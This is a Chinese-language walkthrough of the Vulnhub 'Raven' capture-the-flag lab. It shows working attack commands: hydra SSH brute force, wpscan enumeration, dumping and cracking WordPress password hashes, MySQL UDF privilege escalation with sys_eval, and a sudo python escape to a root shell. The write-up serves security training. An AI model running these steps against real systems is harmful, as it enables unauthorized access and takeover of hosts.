Vulnhub Challenging: Raven

思路

  • 拿到靶机,端口扫描
  • 80端口,查找WEB漏洞
  • wordpress框架,枚举、爆破、搜cve
  • 22端口,ssh爆破
  • mysql服务,爆破、拖库、UDF提权
  • 拿到hash,john爆破
  • sudo -l,root执行后逃逸提权

端口扫描

1
$ nmap -sS -A -p- 10.129.10.32

端口扫描结果
发现22、80、111三个端口,111端口中的rpcbind和status服务都不可利用,直接放弃; 22端口无直接漏洞,待定; 矛头指向80端口.

80端口

使用浏览器访问80端口, 发现wordpress目录和flag1; 用dirb扫目录,发现/wordpress/wp-contentwordpress/wp-adminwordpress/include目录;
开启wpscan枚举用户

1
$ wpscan --url http://10.129.10.32/wordpress --wp-content-dir wp-content --enumerate u

wpscan

枚举之后发现两个用户:michael、steven. 查找wordpress登陆接口无果,决定用两个账号爆破ssh.

ssh爆破

1
$ hydra -l michael -P /usr/share/wordlists/rockyou.txt -e nsr ssh://10.129.10.32

发现密码:michael, steven账户爆破30分钟未果, 于是放弃.

进shell, 搜信息

进入shell后, 直接上传linux枚举脚本:LinEnum.sh 查看是否有可利用的地方

1
2
$ chmod +x LinEnum.sh
$ ./LinEnum.sh

内核3.16.0, 无提权漏洞; 操作系统debian 8, 无提权漏洞; michael无可用sudo执行的命令; crontab无用户自定义文件; 发现mysql服务且以root权限启动, 列入首要考虑范围; 其他文件、服务均无明显问题, 遂尝试mysql; 由于存在WEB站点, 因此到站点目录下搜索配置文件, 发现wp-config.php文件, 内容如下:
wp-content.php
发现mysql数据库密码: R@v3nSecurity

mysql服务, 读库, udf提权

读库, 破解hash

1
mysql> show databases;

show databases

1
mysql> show tables;

show tables

1
mysql> select * from wp_users;

wp_users data
发现michael、steven用户的密码哈希值, 用john爆破

1
2
$ vim hash.txt #复制steven的密码哈希到文件中
$ john hash.txt

Markdown

udf提权

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看mysql插件地址
mysql> select @@plugin_dir;

# 上传udf.so文件到plugin_dir目录中
mysql> create table a (cmd LONGBLOB);
mysql> insert into a (cmd) values (hex(load_file('/tmp/udf.so')));
mysql> SELECT unhex(cmd) FROM a INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 创建函数sys_eval
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

# 判断权限
mysql> select sys_eval('id');

Markdown

修改root密码,拿权限

1
mysql> select sys_eval('(echo "xxxxxxxx";sleep 1;echo "xxxxxxxx")|passwd > /dev/null');

sudoers文件配置有误导致提权

shell下登陆steven账户, 运行LinEnum.sh后发现可用sudo执行python命令

1
2
3
4
5
6
7
$ sudo /bin/usr/python
# 直接修改root密码
>>> import os
>>> os.system('(echo "xxxxxxxx";sleep 1;echo "xxxxxxxx")|passwd > /dev/null')
# 通过pty运行子程序bash
>>> import pty
>>> pty.spawn("bash")

拿到3个flag

靶机说明中表示有4个flag, 但是查看root目录中.bash_history后发现某人执行了命令mv flag3.txt flag4.txt, 因此未发现flag3
Markdown
Markdown

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%